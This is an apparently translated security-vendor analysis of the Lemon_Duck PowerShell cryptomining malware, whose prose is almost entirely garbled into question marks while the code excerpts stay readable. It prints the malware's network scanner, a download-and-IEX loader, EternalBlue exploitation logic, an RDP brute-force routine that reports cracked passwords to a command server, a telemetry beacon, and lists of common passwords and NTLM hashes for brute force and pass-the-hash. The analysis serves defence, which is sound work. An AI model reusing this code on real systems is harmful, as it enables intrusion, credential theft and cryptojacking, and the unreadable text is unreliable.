????????? ??? ????? (SophosLabs) ?? ??? ?????????? ?????? ???? ?? ????? ??????? ???? ??? ?? ?? ???? ?????? ?? ???? ??? ??????? ?? ????? ??? ????? ?? ???. ??? ????? ?? ?? ?? ?????? ???? ???? ?? ????? ???? ????? ??? ????? ?? ????? ???????? ?????? ?? ???????? ??????? ?????? ?? ??????? ??? ???? ???????? ??????? ?? ????.
????? ????? ??? ??? ????? ?? ?? ????? ??? ??????? ?????? ????? ????? ??????? ???? ????? ?? ??????? ???????? ?????? ??? ??? ???? ????? ?????????? ? ??? ??????? ?? ???? ????? ?? ???? ????? ???? ?? ????? ??? ???? ???? ??????? ?? ????.
??? ???? ????? ?? ???????? ????? ???? ???? ????? ?? ????? ??? ???? ???? ??? ?? ??? ??????? ?? EternalBlue ???. ???? ?? ??????? ??? ???? ?? ????? «$Lemon_Duck» ?? ????? ????? ??????? ?? ????. ?? ???? ???? ?? (? ?????? ?? ???? ??? ???? ?? ?? ????? ??? ???? ?? ???? ???? ????? ????? ???) ??? ??????? ?? «????? Lemon_Duck PowerShell» ?????? ???.
?? ?? ??? ??? ?? ????? ??? ????? ?????? ????? ???? ??????? (?????? ?? ?????? ? ?? ??? ???? ??????? ??? ???? ??? ?? ?? ????? ??? ?????? ???? ????? ?? ????) ?? ???????. ???? ????? ??? ?????? ???? ??????? ?? ??? ??????? ?? ????? ??? ??? ????? ??? ???. ??????? ??? ???? ?? ??????? ?? Scheduled Tasks? ?? ??? ??? ?? ??? ????? ??? ??????? ????? ?? ????.
?????? ??? ???? ???? ???? ??????
??? ????? ???? ??? ????? ??? ???? IP ?? ?? ???? ?????? ????? ?? ??? ? ???? ???? ????? ??? ??? ????? ???? ??? ??? ????? ???/TCP (SMB)? ????/TCP (???? MS-SQL) ?? ?????/TCP (???? ???? ??????? ?????? ?? ????? ???? ???? ???? ????? ???? ?????? ??? ???)? ???? ?? ?? ???? ?? ???.
?? ??? ??? ?? ??????? ?? ????? ????? ????? ?????? ???? ???? IP ?? ???? ???? ????? EternalBlue SMB ???? ????? ???? ?? ??? ?? ???? ????? MS-SQL ???? ???? ???? ?? ????? ?? ??? ?? ????? ?? ???? ?????? ???. ????? ???? ?? ???? ??? ???? ?? ?? ?? ?????/TCP ??? ???? ????? ???? ??? ???? ????? ?? ????? ????? ????? ?? ?? ??????? ????? ??????? ?? ???? ???? ?????? ??? ???.
??? ??? ?? ??????? ???? ???? ????? ??? ?? ?? ??? ?? ???? ??? IP ??? ?? ?? ???? ?????? ????? ?? ???:
function getipaddrs{
write-host “Get ipaddress…”
$allip = @()
[string[]]$ipsub = @(‘??????????,’??????????,’??????????,’??????????,’??????????,’??????????,’??????????,’??????????,’??????????,’??????????,’???????????,’???????????,’???????????,’????????????,’????????????,’???????????,’???????,’???????,’???????,’???????,’?????????,’????????,’????????)
$regex = [regex]”\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b” $regex.Matches((ipconfig /all)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
}
$regex.Matches((ipconfig /displaydns)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
}
$regex.Matches((netstat -ano)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
} foreach($IP in $allip)
{{{}}
if ($IP.StartsWith(“????”) -or ($IP -match ’??\d.’) -or ($IP -match ’??\d.’) -or $IP.StartsWith(“??”) -or $IP.StartsWith(“???????”) -or $IP -eq ‘?????????’)
{{{}}
}else{
$iptemp = $ip.Split(“.”)
$SubnetIP = $iptemp[0] “.” $iptemp[1] “.” $iptemp[2]
if ($ipsub -notcontains $SubnetIP)
{ $ipsub = @($SubnetIP) + $ipsub}
}
}
try{
$NetObject = New-Object Net.WebClient
$wlanip = $NetObject.DownloadString(“https://api.ipify.org/”)
$wlaniptemp = $wlanip.Split(“.”)
$wlansub = $wlaniptemp[0] “.” $wlaniptemp[1] “.” $wlaniptemp[2]
if($ipsub -notcontains $wlansub)
{ $ipsub += $wlansub }
}catch try{
$ipaddress = [System.Net.DNS]::GetHostByName($null).AddressList
$localip = @()
Foreach ($ip in $ipaddress)
{{{}}
$localip += $ip.IPAddressToString
$intiptemp = $ip.IPAddressToString.Split(“.”)
if($intiptemp[0] -ne ‘???’){
$intipsub = $intiptemp[0] “.” $intiptemp[1] “.” $intiptemp[2]
if($ipsub -notcontains $intipsub)
{ $ipsub += $intipsub }
}
}
}catch
try{
$ran_ipsub = “”(?(Get-Random -Maximum 254))”.”(?+(Get-Random -Maximum 254))”.”(?+(Get-Random -Maximum 254))
if($ipsub -notcontains $ran_ipsub){
$ipsub = “”(?+(Get-Random -Maximum 254))”.”(?+(Get-Random -Maximum 254))”.”(?+(Get-Random -Maximum 254))
}
}catch
}
$global:ipaddrs = @()
foreach($ipsub2 in $ipsub)
{{ { }
}
write-host $ipsub2
$global:ipaddrs = 1..254|%{$ipsub2{}”.”+$_}
}
$global:ipaddrs = @($global:ipaddrs | Where-Object { $localip -notcontains $_ })
write-host “Get address done!!”
}
? ??? ??? ?? ??????? ????? ?? ??? ?? ??????? ????? ???? ??? ???? ??? ?? ?? ??????????? ??? ???? ????:
function localscan {
Param(
[int]$Port = 445
)
write-host “scan port $port…”
[string[]]$openips = @()
$clients = @
$connects = @
foreach($ip in $ipaddrs) {
try{
$client = New-Object System.Net.Sockets.TcpClient
$connect = $client.BeginConnect($ip,$port,$null,$null)
$connects[}}{{$ip}}{{] = $connect
$clients[}}{{$ip}}{{] = $client
}catch
}
Start-Sleep -Milli 3000
foreach($ip in $clients.Keys) {
if ($clients[}}{{$ip}}{{].Connected) {
$clients[}}{{$ip}}{{].EndConnect($connects[}}{{$ip}}{{])
$openips += $ip
}
$clients[}}{{$ip}}{{].Close()
}
write-host $openips.count
return ,$openips
}
?? ????? ??????? ???? ???? ???? ???? ?? ?????????? ??? ???? ???? ????? (sa) SQL Server ?? ?? ??????? ??? ???? ? ?? ??????? ?? ????. ??????? ?? ???? ?????? ???? ?? ??????? ???? ?? ??? (?? ???? ????????? ?? ???? ??? ????? ????? Mirai ? ??????? ??? ?? IoT ????? ?? ?? ?? ??????? ???? ?????). ????? ?? ??? ??????? ?? ??? ?? NTLM ?? ???? «pass the hash» ??????? ?? ????.
????? ??????? ?? ?? ????? ?????? ?? ????.
“saadmin”,”???????,”password”,”PASSWORD”,”????com”,”admin@123?,”Aa123456?,”qwer12345?,”Huawei@123?,”???@abc”,”golden”,”???!@#qwe”,”?qaz@WSX”,”Ab123?,”?qaz!QAZ”,”Admin123?,”Administrator”,”Abc123?,”Admin@123?,
“??????”,”Passw0rd”,”???qwe!@#”,”football”,”welcome”,”??,”???,”???,”????,”????,”?????,”??????,”???????,”???????,”???????,”???????,”???????,”???????,”???????,”???????,”???????,”?????,”???????,”????????,”?????????,
“?????????”,”??????????,”admin”,”abc123?,”abcd1234?,”abcd@1234?,”abc@123?,”p@ssword”,”P@ssword”,”p@ssw0rd”,”P@ssw0rd”,”P@SSWORD”,”P@SSW0RD”,”P@w0rd”,”P@word”,”iloveyou”,”monkey”,”login”,”passw0rd”,”master”,”hello”,
“qazwsx”,”password1?,”qwerty”,”baseball”,”qwertyuiop”,”superman”,”?qaz2wsx”,”fuckyou”,”???qwe”,”zxcvbn”,”pass”,”aaaaaa”,”love”,”administrator”,”qwe1234A”,”qwe1234a”,”??????????,”???????????,”?????????,”??????????,
“??????”,”a123456?,”??????a”,”????????,”?q2w3e4r”,”qwe123?,”a123456789?,”?????????a”,”dragon”,”sunshine”,”princess”,”!@#$%^&*”,”charlie”,”aa123456?,”homelesspa”,”?q2w3e4r5t”,”sa”,”sasa”,”sa123?,”sql2005?,”sa2008?,
“abc”,”abcdefg”,”sapassword”,”Aa12345678?,”ABCabc123?,”sqlpassword”,”sql2008?,”?????????,”admin888?,”qwe1234?,”A123456?
? ?????? ?? NTLM ??????? ???? ??? ???:
“??d6cfe0d16ae931b73c59d7e0c089c0?,”??ed87bdb5fdc5e9cba88547376818d4?,”????f7eaee8fb117ad06bdd830b7586c”,”?b592e4f8178b4c75788531b2e747687?,”afffeba176210fad4628f0524bfe1942?,
“???da618cfbfa85247acf1f800a280a4”, “??bf8039a8506cd67c524a03ff84ba4e”,”?ae7b89b3afea28d448ed31b5c704289?,”?f9f5f112da330ac4c20be279c6addfa”,”??f5d97549f033374fa6d9f9ce247ffd”,
“?f12c0ab327e099821bd938f39faab0d”,”e5ae562ddfaa6b446c32764ab1ebf3ed”, “???cff084477fe596a5db81874498a24?,”d30c2ef8389ac9e8516baacb29463b7b”,”bc007082d32777855e253fd4defe70ee”,
“e45a314c664d40a227f9540121d1a29d”,”d144986c6122b1b1654ba39932465528?,”f4bb18c1165a89248f9e853b269a8995?, “???a9a65db8fba761c1008a51d4c95ab”,”e1a692bd23bde99b327756e59308b4f8?,
“a87f3a337d73085c45f9416be5787d86?,”??affd88fa323b00d4560bf9fef0ec2f”,”??fc0dc8f7dfad0e8bd7ccc3842f2ce9?,”???e48b68c5cd0efd8f7e5faa87b3d1e”, “?????c5e63b4d2c104dbbcc15138b72b”,
“???feb889288fb953b5f094d47d1565c”,”bcdf115fd9ba99336c31e176ee34b304?,”?dbde697d71690a769204beb12283678?,”df54de3f3438343202c1dd523d0265be”,”?ce21f17c0aee7fb9ceba532d0546ad6?,
“?a21990fcd3d759941e45c490f143d5f”,”??????c49145015c47ecd267657d3174?,”af27efb60c7b238910efe2a7e0676a39?,”?d7f1a5a61d3a96fb5159b5eef17adc6?,”????b60b514c5402dde3d29a1845c366?,
“e8cd0e4a9e89eab931dc5338fcbec54a”, “????c58d0df184d829189c44fafb7ece”,”?fa45a060bd2693ae4c05b601d05ca0c”,”ba07ba35933e5bf42dea4af8add09d1e”,”f1351ac828428d74f6da2968089fc91f”,
“e84d037613721532e6b6d84d215854b6?,”?f2d544c53b3031f24d63402ea7fb4f9”, “??????b81ca05805a68ef26acb252039?,”??????cb123a52aa2e693aaacca2db52?,”c22b315c040ae6e0efee3518d830362b”,
“???e829be112225fedf856e38e1c65fe”,”???c6174da490caeb422f3fa5a7ae634?,”f9e37e83b83c47a93c2f09f66408631b”, “b3ec3e03e2a202cbd54fd104b8504fef”,”?ed91524cb54eaacc17a185646fb7491?,
“aa647b916a1fad374df9c30711d58a7a”,”a80c9cc3f8439ada25af064a874efe2d”,”??b29964cc2480b4ef454c59562e675c”,”de26cce0356891a4a020e7c4957afc72?, “e19ccf75ee54e06b06a5907af13cef42”,
“??fcaa8ad9a496b3e17f7fbfacc72993?,”?????abb825ca50da31ce1fac1e9f54d”,”f56a8399599f1be040128b1dd9623c29?,”?e4dbf83aa056289935daea328977b20?,”b963c57010f218edc2cc3c229b5e4d0f”,
“f2477a144dff4f216ab81f2ac3e3207d”,”e6bd4cdb1e447131b60418f31d0b81d6?,”b9f917853e3dbf6e6831ecce60725930?,”?d3986e540a63647454a50e26477ef94?,”???ddfd4ef0e9cd7c256fe77191ef43c”,
“???efbcfafeb22eabda8fc5e68697a41”, “???????ce94ad0564e29a924a03510ef”,”?d20d252a479f485cdf5e171d93985bf”,”???a78179516c385e35a93ffa0b1c4ac”,”?d757ad173d2fc249ce19364fd64c8ec”,
“??f5cfa80f07819ccbcfb72feb9eb9b7?,”f67f5e3f66efd7298be6acd32eeeb27c”, “?c4ecc8938fb93812779077127e97662?,”ad70819c5bc807280974d80f45982011?,”a836ef24f0a529688be2af1479a95411”,
“??aa83bdcab3c9fdaf321ca42a31c3fc”,”acb98fd0478427cd18949050c5e87b47?,”??deeec2d12f917783b689ae94990716?, “a4141712f19e9dd5adf16919bb38a95c”,”e7380ae8ef85ae55bdceaa59e418bd06?,
“??e5f1adc94dd08b1a072f9c1ae3dd3f”,”??c5391067de41fad6f3063162e5eeff”
?? ????? ??? ?? ??? ?? ???? MS-SQL ???? ?? ??????? ????? ?? ???? ???? ? ??? ?? ??? ?????? ?? ???? ??????? ???? ????? ????? ??? ???? ?????? ????? ??.
?????? ??? Lemon_Duck
??????? ??? ???? ?? ??????? ?? Windows Scheduled Tasks ?? ??? ???? ?? ??????? ???? ?? ?? ???? ??? ????? ?? ????? ?????? ? ???? ?? ????. ??????? ?????? ??? ?????? ??? ?? ???? ?? ??????? ?? ?? ?????? ??? ??? ?? ?????????? ?? ???. ?? ???? ?????? ???? ???? ??? ??????????? ??????? ?????? ?????? ???? ???? ????? ???? ? ????? ???? ?????? ?? ?????? ?? ???.
??? ??? ?? ???????? ?? ??? ?? ?????????? ?? ???:
$tm1=’$Lemon_Duck=”_T”;
$y=”_U”;$z=$y{}”p”{}”’$v”’;
$m=(New-Object System.Net.WebClient).DownloadData($y); // Downloaded SHA should be equal to ‘d8109cec0a51719be6f411f67b3b7ec1’
[System.Security.Cryptography.MD5]::Create().ComputeHash($m)|foreach}{{$s+=$_.ToString(”x2”)};
if($s-eq”d8109cec0a51719be6f411f67b3b7ec1”){
IEX(-join[char[]]$m)
}
????? $Lemon_Duck ??? ???? ??? ?? ????? ? ?? ?? ?? ???? ????? ??? ????? (Command-and-Control) ?? ???? User-Agent ????? ?? ???. ??? ?? ??? ????? ??? ??? ???? ????? ????? ??????? ???? ?? ?????? ??? ?????? ?? ???.
?????? ????? ? ????? ????
??????? ???? ?? ??? ???? ?? ?? ??????? ?? ????? ????? ?? ????? ???? ????? ????? ?? ????? ????? ?? ???? ???? ?????? ???. ?? ????? ???? ????? ??? ??? ?? ??? ??? ?????? ??? ??? ??? ??? ??????? ?? ???:
• EternalBlue: ?????? ?? ???? ??? ??????? SMB
• ???????? USB ? ????: ???????? ???? ??? ?????? ?? ????? lnk ? ???? ??? DLL ???? ?? ?? ?????? ??? ????? ???? ???? ?? ????? ????? ? ???????? ???? ?? ??? (CVE-2017-8464) ?? ?????.
• ???? ??? ????????: ???????? ???? ?? ?? ?? ???? ??? ???????? ?? ????? ???? ?????? (????? ???? Startup ???? ??????) ?? ????? ?? ??? ????? ???? ????.
• ???? ???? ???? ?? MS-SQL Server: ???????? ???????? ?????? ?? ?????? ?? ??? ?? ???? ??? ???? ???? ?????? ???? ????? SQL Server ???? ??????? ???? ????? ????.
• ???? Pass the Hash: ?? ?? ??? NTLM ???? ???? ???? ??? ?? ???? ??????? ?? ???.
• ????? ??????? ???? ?? ??? ????? ??? ????? ?? ??????? ?? WMI
• ???? ???? ???? RDP
?? ???? ?? ??? ??? ??????? ??? ??????? ?? ?? ??? Scheduled Tasks ????? ?? ??? ?? ??? ????? ?? ?? ?????? ?????? ??????? ??? ???? ?? ???? ???. ??? ??????? ???? ?? ??? ??????? ?????? ??? ???? ???? ??? ???? ???? ?? ????? ??????? ?????? ?????-???? ????? ?? ????. ??? ??? ???????? ??????? ????? ? ???? ???? ???????? ?? ??? ??? ???? ?? ???? ?? ????? ?? ??? ?????? ?? ??????? ???? ? ?? ???? ????? ??????? ????? ????? ??? ?? ?????? ?? ???? ?? ???? ????? ?????? ???? ?? ????? ?? ????.
?? ??? ??? ?? ??????? ??? ???? ?? ???? ???? C&C ?????? ????? ??????? ??? ???? ???? ??? Scheduled Tasks ????? ??? ??? ??? ??????? ????? ?? ??? ?? ????. ?? ??? ?? ?? ???? ????? ??? ??? ?????? ???? ??????? ????? ????? ?? ???????:
EternalBlue: ??????? ????? ???? ?? ?? ???/TCP ???? ?? ???? ?? ???? ?? ???? ?? ?? ??????? ?? ?????? ?? ??? PingCastle ?????? ??? ????? ???? ????? EternalBlue ???? ????? ???/?????? ???.
????? ???? ????? PingCastle EternalBlue
??? ????? ???? ?? ???? ????? ?? ?? ???? ?? ??? ??? ??????? ???? ?? ???? ?? ??????? ?? EternalBlue ???? ???? ???? ?? ?????. ??????? ???? ??? ???? ?? ??? ?? ????? ????? ?????? ? ?? ?????? ????? ?? ?? ?????? ? ?? ???? ?????? ?? ???.
try{
write-host “start eb scanning…”
$vul=[PingCastle.Scanners.m17sc]::Scan($currip) // scan for vulnerable IP
if($vul{{) { }
}
write-host “$currip seems eb vulnerable…”
$res = eb7 $currip $sc //targeting win7 & older version
if($res) {
write-host “$currip eb7 got it!!!”
} else {
$res = eb8 $currip $sc //Windows 8, 10 & 2012
if($res) {
write-host “$currip eb8 got it!!!”
}
}
}
}catch
?? ?? ??? ?? ??????? ????? ???? ???? ?? ?? ?? ?? ??????? ????? ??? ?? ??????? ???? «SMB Exploitation Module» ??? ?? ???? ?? ???:
?? ???? EtrernalBlue ?? ???? Lemon_Duck
LNK Remote Code Execution: ????? ????? ??? Lemon_Duck ?? ????? ???? ??? ???????? ???? ?????? ?????? ?????? ?? ????? ????? ?? ????? ?? lnk ???. ??? ???????? ?? ???? ????? CVE-2017-8464 ???? ????? ?? ???? ??? ???? ?? ???? ?? ????? ??? USB ?? ???????? ???? ??????? ?? ???.
??? ??????? ?? ?? ???? ?? ? ?? ???? ?? ???????? DLL ?? ?? ????? ???? ??? lnk ?????? ?? ????? USB ?? ????? ???? ?? ?????. ?????? ?? ????? ??? ????? ?? ?? Windows Explorer ?? ?? ????????? ?? ???? ?????? lnk ?? ????? ?? ??? ??? ???? ?????? ???????? DLL ???? ?? ???? ????? ???.
???????? USBLNK ???? ??? ?? ????? ??? FAT32 ?? NTFS ????? ???.
????? ?? ???? ??????? ????? ?? ??? “UTFsync inf_data” – (file_location) ?? ????? ????? ????? ????? ?? ??? ?? ????? ????? ?? ????? ?? ???????? lnk ? dll ????? ??? ???. ???? ??? ???? ????? ?? ??? ?? ????? ????? ??? ???. ?? ????? ????? ???? ???? ??? ????? ??? ??? ?? ???.
???? PassTheHash: ???????? ??????? ???? ?????? ?? ???? ????? ???? ?? ???. ?? ????? ?? ????? ????? ???? ???? ???????? ????? PowerDump ????? ?? Dave Kennedy ? Mimikatz ????? ?? Benjamin Delpy ?? ?? ??? ?? ???? ?? ?? ???? ?? ??? NTLM? Username? Password ? ??????? ????? ??? ?????? ???. ??? ??????? ???? ????? ???? ??? ??????? ???? ? ?? ????? ?? ?? ?????? ?? ???? lnk ?? ???? %startup% ????? ??? ????? ???? ?????? ?? ???? ?? ??? ?????????? ?? ??????? ?? ????? ?? ?? ??????? ?? WMI ?? PowerShell ?? ?? ??? ??? ???? ?? ???.
PowerDump Module: ??? ????? ????? ????? ?? ??????? ??? ??? ???? ??????? ???? ??? ???? ???? ? ?? ????? ??????? ????? ??? ??? ????.
??? ??????? ?????????? ??? ???? ???? ?? Mimikatz ?? ?? ??? ?? ???? ?? ?? ????? ??? PowerShell ??? (?? ????? ???? Kevin Robertson ????? ??) ??????? ???:
• Invoke-SE: ???? ????? ????? ?? ???? ?? ????? ?????
• Invoke-SMBC: ??? IPC$ ???? ??????? ?? ???? SMB ??????? ??? ??? ?? ????? ?? ???. ??? ????? ????? ?? ?????? «List»? «Put» ? «Delete» ?? ?????? ????.
??????? ???? ?? ??????? ??? PowerShell ????? ????? ??? ???? ??? ??? ??????? ?? ???.
???? ???? ???? ?? MS-SQL Server: ??????? ???? ???? ??? IP ???? ?? ???? ?? ??? ? ???? ????? ??? ????? ???? ????/TCP ??? (???? ???? ??????? ????? Microsoft SQL) ?? ?? ????? ? ?? ??????? ?? ????? ????????? ?? ?? ???? ???? ???? ??? ? ???????? ???? ???? ?? ????? ?? Mimikatz ???? ???? ???? ?? ???? ????? SA ?? ????? ?? ???.
??????? ?? ?? ????? ?????? ?? ???? ???? MS-SQL ???? ????? ??????? ???? ???? ????? ??? ???? ?? ????? sqlserver.exe ??????? ?? ???.
?? ???? ?? ???? Lemon_Duck MS-SQL
???? ???? ???? RDP: ????? RDP ??????? ???? ?? ???? ??? ??? RDP ???? ????/TCP ?? ???? ?? ???? ???? ?? ??? ? ?? ????? ??? ??? ?? ?? ??? ?????? «administrator» ????? ???. ??????? ?? ??????? ?? ????? ??? ??? freerdp ?????? ?? ??????? ?????? ??? ?? ?????? ?? ???. ?? ???? ?????? ????? ????? ???? ?? ????? ???? ????? ??.
foreach($currip in $rdp_portopen[1]) {
$currip
if (($old_portopen -notcontains $currip) -and ($currip.length -gt 6)){
write-host “start rdp scanning…”
foreach($password in $allpass){
write-host “Try pass:$password”
$flag = (new-object RDP.BRUTE).check($exepath,$currip,”administrator”,$password,$false)
if($flag){
write-host “SUCC!!”
$brute = new-object RDP.BRUTE
if($brute.check($exepath,$currip,”administrator”,$password,$true)){
(New-Object Net.WebClient).DownloadString($log_url+’/report.json?type=rdp&ip=’+$currip+’&pass=’+$password+’&t=’+$t)
[RDP.CMD]::runCmd($rdp_code)
write-host “Try to run command!!”
}
start-sleep 10
$brute.exit()
break;
}
}
}
}
?? ????? ???? ???? ???? RDP
??? ????? ?? ??? ??? ???? ???? ?????? ???? ??????? ???? ??? ???? ???? ?????/TCP ??????? ??????? ?????? ?? ????? ?? ???. ??????? ???? ???? ????? ???? ??? ????? ?? ??? ???? ?? ????? ????? (?????????) ??????? ?? ???. ?? ??? ??? ?? ????? ??? ???? ?????? ?? ??? ??? ????? ?? ?????? ??????? ?????? ??.
??? ?? ???? ?????? ?????? ? ?? ??? ? ????? ?? ???? ?? ??? ? ????? IP ?????? ????? ????? ?? ???. ????? ??? SMB ? MS-SQL ???? ??????? ???? ?? ???? ?? ????? ??? ???? ???? ?????? ????. ????? ?? ??? ?? ?? ??? ????? ??? ??? ??????? ??????? ???? ????? ?? ????? ? ?? ?? ?? ???? command-and-control ??? ????? ?? ???.
Installation Tracking C2: ??? ????? ???? ???? ?? ??? ?? ????? ???? ????? ??? ???? ?????? ???. ??? ????? ??????? ?? ?????? ?????? ??? ? ?? ?? ????? ???? ????? ??? ?????? ??? ???? ???? ?????? ????? ???? ???? ? ??????? ??????? ????? ?? ????. ??? ????? ??????? ????? ?? ????? ?? ????? ?? ?? ????? ??? ???? ??? ?? ???? C2 ??? ????? ?? ???.
write-host “reporting”
try{
$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1
$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID
$comp_name = $env:COMPUTERNAME
$wf = test-path $env:tmp\wfreerdp.exe // RDP utility
$mf = test-path $env:tmp\mimi.dat // mimikatz
(New-Object Net.WebClient).DownloadString($log_url+’/log.json?V=0.1&ID=’+$comp_name+’&GUID=’+$guid+’&MAC=’+$mac+’&retry=’+$retry+’&pc1=’+$portopen[1].count+’&pc2=’+$ms_portopen[1].count+’&pc3=’+$old_portopen[1].count+’&pc4=’+$rdp_portopen[1].count+’&pci=’+$ipaddrs_i.count+’&pco=’+$ipaddrs_o.count+’&pcb=’+$global:ipaddrs_b+’&mi=’+($getpasswd -join “^^”)+’&wf=’+[Int]$wf+’&mf=’+[Int]$mf)
}catch{}
Continuous Monitoring C2: ????? ????? ?????? ????? ???? ?? ?? ????? ????? ????? ????? ??? ???? ?????? ? ??????? ?? ???? C2 ????? ?? ???. ??? ????? ?? ?? ????? ???? ????? ??? ??????? ?????? ?????? ???? ?? ???. ?? ???? ??????????? ?? ?? ???? C2 ????? ?? ??? ?? ???? ?? ??????? ???? ?? ???? ??? ?????? ???? ???? ???????? ?????? ?????? ????? ? ????? ??? ?????? ???? ?????? ?? ??????? ????? ???.
hxxp://<redacted.com>/report.jsp?ID=HAWKINS-PC&GUID=2D3EC845-35CD-1346-876E-96257ADE6A2F&MAC=&OS=6.1.7601&BIT=32&USER=HAWKINS-PC$&DOMAIN=WORKGROUP&D=&CD=Standard%20VGA%20Graphics%20Adapter&P=1&FI=0&FM=0&IF=0&MF=0&HR=&UP=664.468&_T=1569808438.79244
Paramaters –
$comp_name = Computername
$guid = machine UUID
$mac = mac address of the machine
$os = installed OS version
$bit = 32 or 64 bit architecture
$user = username
$domain = User Domain
$uptime = system uptime
$card = Installed Graphic Card Name
$if_ = Exploit & threat progration module
$mf_ = active 32 or 64 bit mining module
$drive = removable & network drive information
$timestamp = Date in UFormat
$isA = If AMD Radeon graphic Card Installed & 64 bit machine
$permit – Is administrator
FI & IF – Confirm the threat propgation module is executed and running active
FM & MF – Confirm mining module executed and running active
&HR – Miner Hashrate information
?????? ?????
SophosLabs ?? ??????? ?????? ?? ???? ??? ??????? ?? ?? ??? ??? ???? ???? ??? ? ???????? ?? ????? ??? ???? ??? ?? ????? ???. ?? ?? ???? ????? ????? ??? ???? ??? ?? ??? ???? ?????? ????? ?? ???? ?? ???? ????? ???? ???? ??? ?? ??? ??? ?? ???? ???? ?? ????? ??? ???.
????? ??? ????? ?? ????? ???? ?? ???? ?? ?? ?? ??? ???? IP ???? ??? ???.
???? ????? ?? ???????? ??? ????? ?? Lemon_Duck ?? ?? ???? ???? IP ????? ??? ???
????? ??? ???? ???? ?????
??????? ???????? ????? ????? ??? ???????? ??? Lemon_Duck PowerShell ?? ?? ??????? ?? ?????? ??? ????? ?? ????:
• HPmal/PowDld-B: ???????? ????? ????
• Mal/PshlJob-A: ???? ??? ??? ????? ????? ?? ????? ???? ??? ??? ???? ???? Mssql
• Mal/MineJob-C: ???? ??? ??? ????? ??? ?? Eternal Blue Exploitation
• Mal/MineJob-B: ??? ???? ???
MTR ????? ???? ??? ????? ??? ?????? ?? ? ???? ??? (TTP ??) ???? ??????? ??????? ?? ??????? ? ???? ???. ?? ???? ??? TTP ?? ?? ???? ?? ???????? ???? ??? ?????? PowerShell ? IEX ???? ??????? ????? ??? ?????? ???? ????? ??? ???? ???????? ? ??? ???? ???? ???? CVE-2017-8464? Open TCP 1433? Pass-the-Hash ? ????? ??? ???? ???? ????? ???.
??????? :
???? ??????
